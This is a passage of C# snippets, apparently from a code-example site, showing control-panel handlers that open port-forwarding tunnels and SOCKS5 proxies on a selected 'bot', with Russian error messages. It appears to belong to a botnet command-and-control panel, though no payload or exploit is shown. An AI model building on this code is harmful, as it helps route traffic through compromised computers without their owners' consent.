private void btPortForward_Click(object sender, EventArgs e)
 {
     if (lvBots.SelectedItems.Count == 1)
     {
         ClientBot bot = (ClientBot)lvBots.SelectedItems[0].Tag;
         System.Text.RegularExpressions.Regex regex = new System.Text.RegularExpressions.Regex(@"\b(?:\d{1,3}\.){3}\d{1,3}:\d{1,5}\b");
         string port = string.Empty;
         if (regex.IsMatch(tbPortForward.Text))
         {
             port = tbPortForward.Text.Trim();
         }
         else
         {
             int v;
             if ((int.TryParse(tbPortForward.Text, out v)))
             {
                 port = "127.0.0.1:" + v.ToString();
             }
         }
         if (port.Length > 0)
         {
             bot.CreateTunnelOne(Sender.ID_PORTFORWARD, tbPortForward.Text.Trim(), Sender.ID_PORTFORWARD_ON_OFF, Encoding.ASCII.GetBytes(port));
         }
         else
         {
             MessageBox.Show("Вы не указали номер порта или неверно его ввели", "Ошибка");
         }
     }
 }
 private void btStartSocks5_Click(object sender, EventArgs e)
 {
     if (lvBots.SelectedItems.Count == 1)
     {
         ClientBot bot = (ClientBot)lvBots.SelectedItems[0].Tag;
         bot.CreateTunnelOne(Sender.ID_SOCKS, string.Empty, Sender.ID_SOCKS_ON_OFF, null);
     }
 }
Esempio n. 3
0
        void StartPortForward(Socket sc, ClientBot bot)
        {
            string port;

            if (!GetString(sc, out port))
            {
                return;
            }
            bot.CreateTunnelOne(Sender.ID_PORTFORWARD, port, Sender.ID_PORTFORWARD_ON_OFF, Encoding.ASCII.GetBytes(port));
        }
Esempio n. 4
0
 void StartSocks5(Socket sc, ClientBot bot)
 {
     bot.CreateTunnelOne(Sender.ID_SOCKS, string.Empty, Sender.ID_SOCKS_ON_OFF, null);
 }